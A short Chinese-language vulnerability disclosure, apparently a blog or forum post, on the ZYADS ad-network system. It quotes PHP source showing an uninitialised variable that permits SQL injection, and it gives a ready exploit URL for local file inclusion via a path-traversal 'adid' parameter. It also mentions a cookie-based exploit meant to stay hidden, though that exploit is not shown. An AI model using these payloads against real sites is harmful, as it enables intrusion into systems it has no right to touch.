中易广告联盟系统(ZYADS) sql注入和本地包含漏洞
在index/news.php 1-31行
<?
include_once("top.php");
$newsid = intval($_GET['id']);
$to_type = addslashes($_GET['type']);
if ($to_type=='index')
{
$to_type_s =" and to_type=1";
}
if ($to_type=='webuser')
{
$to_type_s =" and to_type!=3";
}
if ($to_type=='webadver')
{
$to_type_s =" and to_type!=2";
}
$newssql = 'select * from zyads_news WHERE `id` ='' . $newsid . ''
'.$to_type_s.'';
$newsre=$db->query($newssql);
$newsrow = $db->fetch_array($newsre);
if (empty($newsrow)){
zyads_message('zyads_news');
}
?>
可以看到$to_type没定义或者不等于index，webuser，webadver的话 那么$to_type_s是没有定义的
这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入，呵呵。
在/code/adview_cpa_html.php 1-46行

$name，$adid这两个变量都能造成本地包含漏洞
不过$adid好利用点。
exp：/code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com
最后附上一个exp，只是简单的cookie提交参数 为了隐蔽点 呵呵
